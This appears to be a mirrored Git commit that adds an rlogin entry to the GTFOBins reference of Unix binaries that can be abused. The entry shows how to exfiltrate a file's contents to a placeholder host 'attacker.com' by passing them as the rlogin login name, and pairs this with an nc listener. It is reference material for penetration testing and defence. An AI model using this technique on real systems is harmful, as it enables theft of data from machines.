mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 06:19:27 +01:00
Create rlogin.md
This commit is contained in:
parent
bbfcb5b633
commit
c1ea5f2b41
10
_gtfobins/rlogin.md
Normal file
10
_gtfobins/rlogin.md
Normal file
@ -0,0 +1,10 @@
|
||||
---
|
||||
functions:
|
||||
file-upload:
|
||||
- description: Send contents of a file to a TCP port. Run `nc -l -p 12345 > "file_to_save"` on the attacker system to capture the contents.
|
||||
code: |
|
||||
RHOST=attacker.com
|
||||
RPORT=12345
|
||||
LFILE=file_to_send
|
||||
rlogin -l "$(cat $LFILE)" -p $RPORT $RHOST
|
||||
---
|
Loading…
Reference in New Issue
Block a user